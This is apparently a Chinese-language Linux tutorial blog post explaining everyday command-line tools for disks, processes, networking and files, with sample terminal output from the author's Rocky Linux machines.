  • -H :以 M=1000K 取代 M=1024K 的进位方式;

  • -T :显示文件系统类型, 连同该 partition 的 filesystem 名称 (例如 ext3) 也列出;

  • -i :不用硬盘容量,而以 inode 的数量来显示

1
2
3
4
5
6
7
8
9
10
[root@rocky8:~]# df -Th
Filesystem Type Size Used Avail Use% Mounted on
devtmpfs devtmpfs 854M 0 854M 0% /dev
tmpfs tmpfs 874M 0 874M 0% /dev/shm
tmpfs tmpfs 874M 8.7M 865M 1% /run
tmpfs tmpfs 874M 0 874M 0% /sys/fs/cgroup
/dev/mapper/rl-root xfs 70G 2.9G 68G 5% /
/dev/sda1 xfs 1014M 199M 816M 20% /boot
/dev/mapper/rl-home xfs 127G 939M 126G 1% /home
tmpfs tmpfs 175M 0 175M 0% /run/user/0

将系统内的所有特殊文件格式及名称都列出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@rocky8:~]# df -aT
Filesystem Type 1K-blocks Used Available Use% Mounted on
sysfs sysfs 0 0 0 - /sys
proc proc 0 0 0 - /proc
devtmpfs devtmpfs 874420 0 874420 0% /dev
securityfs securityfs 0 0 0 - /sys/kernel/security
tmpfs tmpfs 894176 0 894176 0% /dev/shm
devpts devpts 0 0 0 - /dev/pts
tmpfs tmpfs 894176 8896 885280 1% /run
tmpfs tmpfs 894176 0 894176 0% /sys/fs/cgroup
cgroup cgroup 0 0 0 - /sys/fs/cgroup/systemd
pstore pstore 0 0 0 - /sys/fs/pstore
bpf bpf 0 0 0 - /sys/fs/bpf
...................

du

du命令是对文件和目录磁盘使用的空间的查看。du命令用于统计目录或文件所占磁盘空间的大小,该命令的执行结果与df类似,du更侧重于磁盘的使用状况。

语法:

1
du [选项] 文件或目录名称

选项与参数:

  • -a :列出所有的文件与目录容量,因为默认仅统计目录底下的文件量而已。

  • -h :以人们较易读的容量格式 (G/M) 显示;

  • -s :列出总量而已,而不列出每个各别的目录占用容量;

  • -S :不包括子目录下的总计,与 -s 有点差别。

  • -k :以 KBytes 列出容量显示;

  • -m :以 MBytes 列出容量显示;

du直接加文件,可以打印文件的大小

1
2
3
4
[root@rocky8:~]# du 1.txt 
4 1.txt
[root@rocky8:~]# du -h 1.txt
4.0K 1.txt

du没有加任何选项时,只列出当前目录下的所有文件夹容量(包括隐藏文件夹):

1
2
3
4
5
6
7
8
[root@rocky8:~]# du
0 ./test1 <==每个目录都会列出来
0 ./test2
0 ./test3
0 ./.config/procps <==包括隐藏文件的目录
0 ./.config/htop
0 ./.config
44 . <==这个目录(.)所占用的总量

直接输入 du 没有加任何选项时,则 du 会分析当前所在目录的文件与目录所占用的硬盘空间。

-a选项才显示文件的容量:

1
2
3
4
5
6
7
8
9
[root@rocky8:~]# du -a
4 ./.bash_logout
4 ./.bash_profile
4 ./.bashrc
4 ./.cshrc
....中间省略....
0 ./.config/htop
0 ./.config
44 .

检查根目录底下每个目录所占用的容量

1
2
3
4
5
6
7
8
9
10
11
[root@rocky8:~]# du -sh /*
0 /bin
159M /boot
0 /dev
25M /etc
.....中间省略....
0 /proc
.....中间省略....
8.0K /tmp
2.1G /usr
253M /var

fdisk

!!! 为保证我的Linux系统的正常使用,从磁盘分割和格式化及其以后的内容,暂未编写博客 !!!

fdisk 是 Linux 的磁盘分区表操作工具。

语法:

1
fdisk [-l] 装置名称

选项与参数:

  • -l :输出后面接的装置所有的分区内容。若仅有 fdisk -l 时, 则系统将会把整个系统内能够搜寻到的装置的分区均列出来。

列出所有分区信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[root@rocky8:~]# fdisk -l
Disk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x9d182722

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 2099199 2097152 1G 83 Linux
/dev/sda2 2099200 419430399 417331200 199G 8e Linux LVM


Disk /dev/mapper/rl-root: 70 GiB, 75161927680 bytes, 146800640 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/mapper/rl-swap: 2 GiB, 2168455168 bytes, 4235264 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/mapper/rl-home: 127 GiB, 136340045824 bytes, 266289152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

查看根目录所在磁盘,并查阅该硬盘内的相关信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root@rocky8:~]# df /            <==注意:重点在找出磁盘文件名而已
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/rl-root 73364480 2995664 70368816 5% /
[root@rocky8:~]# fdisk /dev/mapper/rl-root <==不要加上数字!

Welcome to fdisk (util-linux 2.32.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

The old xfs signature will be removed by a write command.

Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xbb210c3d.

Command (m for help): <==等待你的输入!

输入 m 后,就会看到底下这些命令介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Command (m for help): m

Help:

DOS (MBR)
a toggle a bootable flag
b edit nested BSD disklabel
c toggle the dos compatibility flag

Generic
d delete a partition <==删除一个partition
F list free unpartitioned space
l list known partition types
n add a new partition <==新增一个partition
p print the partition table <==在屏幕上显示分割表
t change a partition type
v verify the partition table
i print information about a partition

Misc
m print this menu
u change display/entry units
x extra functionality (experts only)

Script
I load disk layout from sfdisk script file
O dump disk layout to sfdisk script file

Save & Exit
w write table to disk and exit <==将刚刚的动作写入分割表
q quit without saving changes <==不储存离开fdisk程序

Create a new label
g create a new empty GPT partition table
G create a new empty SGI (IRIX) partition table
o create a new empty DOS partition table
s create a new empty Sun partition table

离开 fdisk 时按下 q,那么所有的动作都不会生效!相反的, 按下w就是动作生效的意思。

这个是我的本地虚拟机:

1
2
3
4
5
6
7
8
Command (m for help): p  <== 这里可以输出目前磁盘的状态
Disk /dev/mapper/rl-root: 70 GiB, 75161927680 bytes, 146800640 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xbb210c3d
Command (m for help): q

这个是我的云服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Command (m for help): p

Disk /dev/vda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 8E31C5C4-D56B-4F46-A42F-54B90BC33E0C

Device Start End Sectors Size Type
/dev/vda1 2048 4095 2048 1M BIOS boot
/dev/vda2 4096 208895 204800 100M EFI System
/dev/vda3 208896 83886046 83677151 39.9G Linux filesystem
Command (m for help): q

这个是本博客转载原文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Command (m for help): p  <== 这里可以输出目前磁盘的状态

Disk /dev/hdc: 41.1 GB, 41174138880 bytes <==这个磁盘的文件名与容量
255 heads, 63 sectors/track, 5005 cylinders <==磁头、扇区与磁柱大小
Units = cylinders of 16065 * 512 = 8225280 bytes <==每个磁柱的大小

Device Boot Start End Blocks Id System
/dev/hdc1 * 1 13 104391 83 Linux
/dev/hdc2 14 1288 10241437+ 83 Linux
/dev/hdc3 1289 1925 5116702+ 83 Linux
/dev/hdc4 1926 5005 24740100 5 Extended
/dev/hdc5 1926 2052 1020096 82 Linux swap / Solaris
# 装置文件名 启动区否 开始磁柱 结束磁柱 1K大小容量 磁盘分区槽内的系统

Command (m for help): q

使用 p 可以列出目前这颗磁盘的分割表信息,这个信息的上半部在显示整体磁盘的状态。

磁盘格式化

磁盘分割完毕后自然就是要进行文件系统的格式化,格式化的命令非常的简单,使用 mkfs(make filesystem) 命令。

语法:

1
mkfs [-t 文件系统格式] 装置文件名

选项与参数:

  • -t :可以接文件系统格式,例如 ext3, ext2, vfat 等(系统有支持才会生效)

查看 mkfs 支持的文件格式:

1
2
3
[root@VM_0_9_centos web]# mkfs[tab]
mkfs mkfs.cramfs mkfs.ext3 mkfs.minix
mkfs.btrfs mkfs.ext2 mkfs.ext4 mkfs.xfs

按下两个[tab],会发现 mkfs 支持的文件格式如上所示。

将分区 /dev/hdc6(可指定其他分区) 格式化为ext3文件系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[root@www ~]# mkfs -t ext3 /dev/hdc6
mke2fs 1.39 (29-May-2006)
Filesystem label= <==这里指的是分割槽的名称(label)
OS type: Linux
Block size=4096 (log=2) <==block 的大小配置为 4K
Fragment size=4096 (log=2)
251392 inodes, 502023 blocks <==由此配置决定的inode/block数量
25101 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=515899392
16 block groups
32768 blocks per group, 32768 fragments per group
15712 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912

Writing inode tables: done
Creating journal (8192 blocks): done <==有日志记录
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 34 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
# 这样就创建起来我们所需要的 Ext3 文件系统了!简单明了!
1234567891011121314151617181920212223

磁盘检验

fsck(file system check)用来检查和维护不一致的文件系统。

若系统掉电或磁盘发生问题,可利用fsck命令对文件系统进行检查。

语法:

1
fsck [-t 文件系统] [-ACay] 装置名称

选项与参数:

  • -t : 给定档案系统的型式,若在 /etc/fstab 中已有定义或 kernel 本身已支援的则不需加上此参数

  • -s : 依序一个一个地执行 fsck 的指令来检查

  • -A : 对/etc/fstab 中所有列出来的 分区(partition)做检查

  • -C : 显示完整的检查进度

  • -d : 打印出 e2fsck 的 debug 结果

  • -p : 同时有 -A 条件时,同时有多个 fsck 的检查一起执行

  • -R : 同时有 -A 条件时,省略 / 不检查

  • -V : 详细显示模式

  • -a : 如果检查有错则自动修复

  • -r : 如果检查有错则由使用者回答是否修复

  • -y : 选项指定检测每个文件是自动输入yes,在不确定那些是不正常的时候,可以执行 # fsck -y 全部检查修复。

查看系统有多少文件系统支持的 fsck 命令:

1
2
3
[root@www ~]# fsck[tab][tab]
fsck fsck.cramfs fsck.ext2 fsck.ext3 fsck.msdos fsck.vfat
12

强制检测 /dev/hdc6 分区:

1
2
3
4
5
6
7
8
9
10
[root@www ~]# fsck -C -f -t ext3 /dev/hdc6 
fsck 1.39 (29-May-2006)
e2fsck 1.39 (29-May-2006)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
vbird_logical: 11/251968 files (9.1% non-contiguous), 36926/1004046 blocks
123456789

如果没有加上 -f 的选项,则由于这个文件系统不曾出现问题,检查的经过非常快速!若加上 -f 强制检查,才会一项一项的显示过程。

磁盘挂载与卸除

Linux 的磁盘挂载使用 mount 命令,卸载使用 umount 命令。

磁盘挂载语法:

1
2
mount [-t 文件系统] [-L Label名] [-o 额外选项] [-n]  装置文件名  挂载点
1

用默认的方式,将刚刚创建的 /dev/hdc6 挂载到 /mnt/hdc6 上面!

1
2
3
4
5
6
7
[root@www ~]# mkdir /mnt/hdc6
[root@www ~]# mount /dev/hdc6 /mnt/hdc6
[root@www ~]# df
Filesystem 1K-blocks Used Available Use% Mounted on
.....中间省略.....
/dev/hdc6 1976312 42072 1833836 3% /mnt/hdc6
123456

磁盘卸载命令 umount 语法:

1
2
umount [-fn] 装置文件名或挂载点
1

选项与参数:

  • -f :强制卸除!可用在类似网络文件系统 (NFS) 无法读取到的情况下;

  • -n :不升级 /etc/mtab 情况下卸除。

卸载/dev/hdc6

1
2
[root@www ~]# umount /dev/hdc6     
1

本文参考:

查看当前日历:cal

cal命令用于查看当前日历,-y显示整年日历:

1
2
3
4
5
6
7
8
python@ubuntu:~$ cal
十一月 2019
日 一 二 三 四 五 六
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30

显示或设置时间:date

设置时间格式(需要管理员权限):

1
date [MMDDhhmm[[CC]YY][.ss]] +format

MM为月,DD为天,hh为小时,mm为分钟;CC为年前两位,YY为年的后两位,ss为秒。

如: date 010203042016.55。

显示时间格式(date ‘+%y,%m,%d,%H,%M,%S’):

format格式含义
%Y,%y
%m
%d
%H
%M
%S

查看网络状态:netstat

netstat命令用于显示网络状态。

利用netstat指令可让你得知整个Linux系统的网络情况。

语法:

1
netstat [-acCeFghilMnNoprstuvVwx][-A<网络类型>][--ip]

参数说明

  • -a或–all 显示所有连线中的Socket。

  • -A<网络类型>或–<网络类型> 列出该网络类型连线中的相关地址。

  • -c或–continuous 持续列出网络状态。

  • -C或–cache 显示路由器配置的快取信息。

  • -e或–extend 显示网络其他相关信息。

  • -F或–fib 显示FIB。

  • -g或–groups 显示多重广播功能群组组员名单。

  • -h或–help 在线帮助。

  • -i或–interfaces 显示网络界面信息表单。

  • -l或–listening 显示监控中的服务器的Socket。

  • -M或–masquerade 显示伪装的网络连线。

  • -n或–numeric 直接使用IP地址,而不通过域名服务器。

  • -N或–netlink或–symbolic 显示网络硬件外围设备的符号连接名称。

  • -o或–timers 显示计时器。

  • -p或–programs 显示正在使用Socket的程序识别码和程序名称。

  • -r或–route 显示Routing Table。

  • -s或–statistice 显示网络工作信息统计表。

  • -t或–tcp 显示TCP传输协议的连线状况。

  • -u或–udp 显示UDP传输协议的连线状况。

  • -v或–verbose 显示指令执行过程。

  • -V或–version 显示版本信息。

  • -w或–raw 显示RAW传输协议的连线状况。

  • -x或–unix 此参数的效果和指定"-A unix"参数相同。

  • –ip或–inet 此参数的效果和指定"-A inet"参数相同。

常用:

1
2
3
4
5
[root@rocky8:~]# netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 829/sshd
tcp6 0 0 :::22 :::* LISTEN 829/sshd

查看进程信息:ps

进程是一个具有一定独立功能的程序,它是操作系统动态执行的基本单元。

ps命令选项:

  • ps a 显示现行终端机下的所有程序,包括其他用户的程序。

  • ps -A 显示所有程序。

  • ps c 列出程序时,显示每个程序真正的指令名称,而不包含路 径,参数或常驻服务的标示。

  • ps -e 此参数的效果和指定"A"参数相同。

  • ps e 列出程序时,显示每个程序所使用的环境变量。

  • ps f 用ASCII字符显示树状结构,表达程序间的相互关系。

  • ps -H 显示树状结构,表示程序间的相互关系。

  • ps -N 显示所有的程序,除了执行ps指令终端机下的程序之外。

  • ps s 采用程序信号的格式显示程序状况。

  • ps u 以用户为主的格式来显示程序状况。

  • ps x 显示所有程序,不以终端机来区分。

选项含义
-a显示终端上的所有进程,包括其他用户的进程
-u显示进程的详细状态
-x显示没有控制终端的进程
-w显示加宽,以便显示更多的信息
-r只显示正在运行的进程

常见用法:

  • ps -e 查看所有进程信息(瞬时的)

  • ps -u root -N 查看所有不是root运行的进程

  • ps ax 显示所有进程状态状态

  • ps -ef |grep xxx 显示含有xxx的进程

实例:

1
2
3
4
5
6
7
8
9
[root@rocky8:~]# ps -A
PID TTY TIME CMD
1 ? 00:00:01 systemd
2 ? 00:00:00 kthreadd
……省略部分结果
2207 ? 00:00:00 kworker/1:1-events
2208 ? 00:00:00 kworker/0:0-ata_sff
2215 ? 00:00:00 kworker/0:2-ata_sff
2217 pts/1 00:00:00 ps

显示指定用户信息:

1
2
3
4
5
6
7
8
9
# ps -u root //显示root进程用户信息
PID TTY TIME CMD
1 ? 00:00:02 init
2 ? 00:00:00 kthreadd
3 ? 00:00:00 migration/0
……省略部分结果
30487 ? 00:00:06 gnome-terminal
30488 ? 00:00:00 gnome-pty-helpe
30489 pts/0 00:00:00 bash

显示所有进程信息,连同命令行

1
2
3
4
5
6
7
8
9
10
11
12
13
# ps -ef //显示所有命令,连带命令行
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 10:22 ? 00:00:02 /sbin/init
root 2 0 0 10:22 ? 00:00:00 [kthreadd]
root 3 2 0 10:22 ? 00:00:00 [migration/0]
root 4 2 0 10:22 ? 00:00:00 [ksoftirqd/0]
root 5 2 0 10:22 ? 00:00:00 [watchdog/0]
root 6 2 0 10:22 ? /usr/lib/NetworkManager
……省略部分结果
root 31302 2095 0 17:42 ? 00:00:00 sshd: root@pts/2
root 31374 31302 0 17:42 pts/2 00:00:00 -bash
root 31400 1 0 17:46 ? 00:00:00 /usr/bin/python /usr/sbin/aptd
root 31407 31374 0 17:48 pts/2 00:00:00 ps -ef

以树状图显示进程关系:pstree

显示进程的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
[root@rocky8:~]# pstree
systemd─┬─NetworkManager───2*[{NetworkManager}]
├─atd
├─auditd───{auditd}
├─crond
├─dbus-daemon───{dbus-daemon}
├─firewalld───{firewalld}
├─irqbalance───{irqbalance}
├─login───bash───su───bash───su───bash
├─lsmd
├─mcelog
├─polkitd───5*[{polkitd}]
├─smartd
├─sshd─┬─sshd───sshd───bash
│ └─sshd───sshd───bash───pstree
├─systemd───(sd-pam)
├─systemd-journal
├─systemd-logind
├─systemd-udevd
└─tuned───3*[{tuned}]

[root@rocky8:~]# pstree -p
systemd(1)─┬─NetworkManager(816)─┬─{NetworkManager}(821)
│ └─{NetworkManager}(823)
├─atd(835)
├─auditd(768)───{auditd}(769)
├─crond(841)
├─dbus-daemon(796)───{dbus-daemon}(802)
├─firewalld(797)───{firewalld}(1030)
├─irqbalance(792)───{irqbalance}(801)
├─login(838)───bash(2012)───su(2043)───bash(2044)───su(2072)───bash(2076)
├─lsmd(793)
├─mcelog(798)
├─polkitd(1035)─┬─{polkitd}(1051)
│ ├─{polkitd}(1052)
│ ├─{polkitd}(1058)
│ ├─{polkitd}(1059)
│ └─{polkitd}(1072)
├─smartd(790)
├─sshd(829)─┬─sshd(1577)───sshd(1592)───bash(1593)
│ └─sshd(1859)───sshd(1863)───bash(1864)───pstree(2220)
├─systemd(1582)───(sd-pam)(1586)
├─systemd-journal(633)
├─systemd-logind(794)
├─systemd-udevd(662)
└─tuned(827)─┬─{tuned}(1168)
├─{tuned}(1217)
└─{tuned}(1248)
[root@rocky8:~]# pstree -c
systemd─┬─NetworkManager─┬─{NetworkManager}
│ └─{NetworkManager}
├─atd
├─auditd───{auditd}
├─crond
├─dbus-daemon───{dbus-daemon}
├─firewalld───{firewalld}
├─irqbalance───{irqbalance}
├─login───bash───su───bash───su───bash
├─lsmd
├─mcelog
├─polkitd─┬─{polkitd}
│ ├─{polkitd}
│ ├─{polkitd}
│ ├─{polkitd}
│ └─{polkitd}
├─smartd
├─sshd─┬─sshd───sshd───bash
│ └─sshd───sshd───bash───pstree
├─systemd───(sd-pam)
├─systemd-journal
├─systemd-logind
├─systemd-udevd
└─tuned─┬─{tuned}
├─{tuned}
└─{tuned}

特别表明在运行的进程:

1
# pstree -apnh //显示进程间的关系

同时显示用户名称:

1
# pstree -u //显示用户名称

动态显示进程:top

top命令用来动态显示运行中的进程。top命令能够在运行后,在指定的时间间隔更新显示信息。-d参数可以指定显示信息更新的时间间隔。

在top命令执行后,可以按下按键得到对显示的结果进行排序:

按键含义
M根据内存使用量来排序
P根据CPU占有率来排序
T根据进程运行时间的长短来排序
U可以根据后面输入的用户名来筛选进程
K可以根据后面输入的PID来杀死进程。
q退出
h获得帮助
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root@rocky8:~]# top
top - 15:40:09 up 4:53, 3 users, load average: 1.06, 0.72, 0.37
Tasks: 161 total, 2 running, 159 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.2 us, 0.2 sy, 0.0 ni, 99.5 id, 0.0 wa, 0.2 hi, 0.0 si, 0.0 st
MiB Mem : 1746.4 total, 1230.0 free, 246.9 used, 269.5 buff/cache
MiB Swap: 2068.0 total, 2068.0 free, 0.0 used. 1340.5 avail Mem

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
827 root 20 0 618180 31188 15248 S 0.3 1.7 0:30.76 tuned
1 root 20 0 175088 13464 9064 S 0.0 0.8 0:01.40 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.01 kthreadd
3 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 rcu_gp
4 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 rcu_par_gp
5 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 slub_flushwq
..................

更高级的命令是htop,但需要安装:

htop动态进程

终止进程:kill

kill命令指定进程号的进程,需要配合 ps 使用。

使用格式:

1
kill [-signal] pid

信号值从0到15,其中9为绝对终止,可以处理一般信号无法终止的进程。

关机重启:reboot、shutdown、init

命令含义
reboot重新启动操作系统
shutdown –r now重新启动操作系统,shutdown会给别的用户提示
shutdown -h now立刻关机,其中now相当于时间为0的状态
shutdown -h 20:25系统在今天的20:25 会关机
shutdown -h +10系统再过十分钟后自动关机
init 0关机
init 6重启

查看或配置网卡信息:ifconfig

ifconfig显示所有网卡的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root@rocky8:~]# ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.191 netmask 255.255.255.0 broadcast 10.0.0.255
inet6 fe80::20c:29ff:fee9:9fb3 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:e9:9f:b3 txqueuelen 1000 (Ethernet)
RX packets 34362 bytes 34209026 (32.6 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 17179 bytes 1644986 (1.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 48 bytes 4080 (3.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 48 bytes 4080 (3.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

修改ip:

1
2
3
4
5
6
7
8
9
10
[root@rocky8:~]# sudo ifconfig ens33 192.168.40.10
[root@rocky8:~]# ifconfig ens33
ens33 Link encap:以太网 硬件地址 00:0c:29:59:65:f2
inet 地址:192.168.40.10 广播:192.168.40.255 掩码:255.255.255.0
inet6 地址: fe80::432f:6c4a:f47d:5f6b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1
接收数据包:422818 错误:0 丢弃:0 过载:0 帧数:0
发送数据包:208692 错误:0 丢弃:0 过载:0 载波:0
碰撞:0 发送队列长度:1000
接收字节:603745130 (603.7 MB) 发送字节:12822615 (12.8 MB)

测试远程主机连通性:ping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@rocky8:~]# ping baidu.com
PING baidu.com (39.156.66.10) 56(84) bytes of data.
64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=1 ttl=128 time=25.4 ms
64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=2 ttl=128 time=25.1 ms
64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=3 ttl=128 time=33.5 ms
^C
--- baidu.com ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 15100ms
rtt min/avg/max/mdev = 24.992/26.546/33.483/2.870 ms
[root@rocky8:~]# ping baidu.com -c 3
PING baidu.com (39.156.66.10) 56(84) bytes of data.
64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=1 ttl=128 time=26.4 ms
64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=2 ttl=128 time=25.1 ms
64 bytes from 39.156.66.10 (39.156.66.10): icmp_seq=3 ttl=128 time=29.8 ms

--- baidu.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 11041ms
rtt min/avg/max/mdev = 25.122/27.080/29.754/1.966 ms

本文参考:

Linux目录

Linux目录

  • /:根目录,一般根目录下只存放目录,在Linux下有且只有一个根目录。所有的东西都是从这里开始。当你在终端里输入“/home”,你其实是在告诉电脑,先从/(根目录)开始,再进入到home目录。

  • /bin: /usr/bin: 可执行二进制文件的目录,如常用的命令ls、tar、mv、cat等。

  • /boot:放置linux系统启动时用到的一些文件,如Linux的内核文件:/boot/vmlinuz,系统引导管理器:/boot/grub。

  • /dev:存放linux系统下的设备文件,访问该目录下某个文件,相当于访问某个设备,常用的是挂载光驱 mount /dev/cdrom /mnt。

  • /etc:系统配置文件存放的目录,不建议在此目录下存放可执行文件,重要的配置文件有 /etc/inittab、/etc/fstab、/etc/init.d、/etc/X11、/etc/sysconfig、/etc/xinetd.d。

  • /home:系统默认的用户家目录,新增用户账号时,用户的家目录都存放在此目录下,表示当前用户的家目录,edu 表示用户 edu 的家目录。

  • /lib: /usr/lib: /usr/local/lib:系统使用的函数库的目录,程序在执行过程中,需要调用一些额外的参数时需要函数库的协助。

  • /lost+fount:系统异常产生错误时,会将一些遗失的片段放置于此目录下。

  • /mnt: /media:光盘默认挂载点,通常光盘挂载于 /mnt/cdrom 下,也不一定,可以选择任意位置进行挂载。

  • /opt:给主机额外安装软件所摆放的目录。

  • /proc:此目录的数据都在内存中,如系统核心,外部设备,网络状态,由于数据都存放于内存中,所以不占用磁盘空间,比较重要的目录有 /proc/cpuinfo、/proc/interrupts、/proc/dma、/proc/ioports、/proc/net/* 等。

  • /root:系统管理员root的家目录。

  • /sbin: /usr/sbin: /usr/local/sbin:放置系统管理员使用的可执行命令,如fdisk、shutdown、mount 等。与 /bin 不同的是,这几个目录是给系统管理员 root使用的命令,一般用户只能"查看"而不能设置和使用。

  • /tmp:一般用户或正在执行的程序临时存放文件的目录,任何人都可以访问,重要数据不可放置在此目录下。

  • /srv:服务启动之后需要访问的数据目录,如 www 服务需要访问的网页数据存放在 /srv/www 内。

  • /usr:应用程序存放目录,/usr/bin 存放应用程序,/usr/share 存放共享数据,/usr/lib 存放不能直接运行的,却是许多程序运行所必需的一些函数库文件。/usr/local: 存放软件升级包。/usr/share/doc: 系统说明文件存放目录。/usr/share/man: 程序说明文件存放目录。

  • /var:放置系统执行过程中经常变化的文件,如随时更改的日志文件 /var/log,/var/log/message:所有的登录文件存放目录,/var/spool/mail:邮件存放的目录,/var/run:程序或服务启动后,其PID存放在该目录下。

位于/home/user,称之为用户工作目录或家目录,表示方式:

1
2
/home/user
~

从/目录开始描述的路径为绝对路径,如:

1
2
cd /home
ls /usr

从当前位置开始描述的路径为相对路径,如:

1
2
cd ../../
ls abc/def

每个目录下都有**.和…**

. 表示当前目录

… 表示上一级目录,即父目录

根目录下的.和…都表示当前目录

基础操作

输出重定向:>

可将本应显示在终端上的内容保存到指定文件中。

如:ls > test.txt ( test.txt 如果不存在,则创建,存在则覆盖其内容 )

注意: >输出重定向会覆盖原来的内容,>>输出重定向则会追加到文件的尾部。

管道:|

管道:一个命令的输出可以通过管道做为另一个命令的输入。

“ | ”的左右分为两端,从左端写入到右端。

1
2
3
4
5
6
7
8
9
10
11
12
python@ubuntu:/bin$ ll -h |more   
总用量 13M
drwxr-xr-x 2 root root 4.0K 8月 4 2016 ./
drwxr-xr-x 26 root root 4.0K 7月 30 2016 ../
-rwxr-xr-x 1 root root 1014K 6月 24 2016 bash*
-rwxr-xr-x 1 root root 31K 5月 20 2015 bunzip2*
-rwxr-xr-x 1 root root 1.9M 8月 19 2015 busybox*
-rwxr-xr-x 1 root root 31K 5月 20 2015 bzcat*
lrwxrwxrwx 1 root root 6 5月 16 2016 bzcmp -> bzdiff*
-rwxr-xr-x 1 root root 2.1K 5月 20 2015 bzdiff*
lrwxrwxrwx 1 root root 6 5月 16 2016 bzegrep -> bzgrep*
--更多--

清屏:clear

clear作用为清除终端上的显示(类似于DOS的cls清屏功能),快捷键:Ctrl + l ( “l” 为字母 )。

切换工作目录: cd

Linux所有的目录和文件名大小写敏感

cd后面可跟绝对路径,也可以跟相对路径。如果省略目录,则默认切换到当前用户的主目录。

命令含义
cd相当于cd ~
cd ~切换到当前用户的主目录(/home/用户目录)
cd .切换到当前目录
cd …切换到上级目录
cd -进入上次所在的目录

查看命令位置:which

1
2
3
4
python@ubuntu:~$ which ls
/bin/ls
python@ubuntu:~$ which sudo
/usr/bin/sudo

查看文件内容

Linux系统中使用以下命令来查看文件的内容:

  • cat 由第一行开始显示文件内容

  • tac 从最后一行开始显示

  • nl 显示的时候,顺道输出行号

  • more 一页一页的显示文件内容

  • less与more 类似,但可以往前翻页

  • head 只看头几行

  • tail 只看尾巴几行

基本显示:cat、tac

语法:

1
cat [-AbEnTv]

选项与参数:

  • -A :相当于 -vET 的整合选项,可列出一些特殊字符而不是空白而已;

  • -v :列出一些看不出来的特殊字符

  • -E :将结尾的断行字节 $ 显示出来;

  • -T :将 [tab] 按键以 ^I 显示出来;

  • -b :列出行号,空白行不标行号

  • -n :列出行号,连同空白行也会有行号

1
2
3
4
5
6
7
8
[root@rocky8:/]# cat -b /etc/issue
1 \S
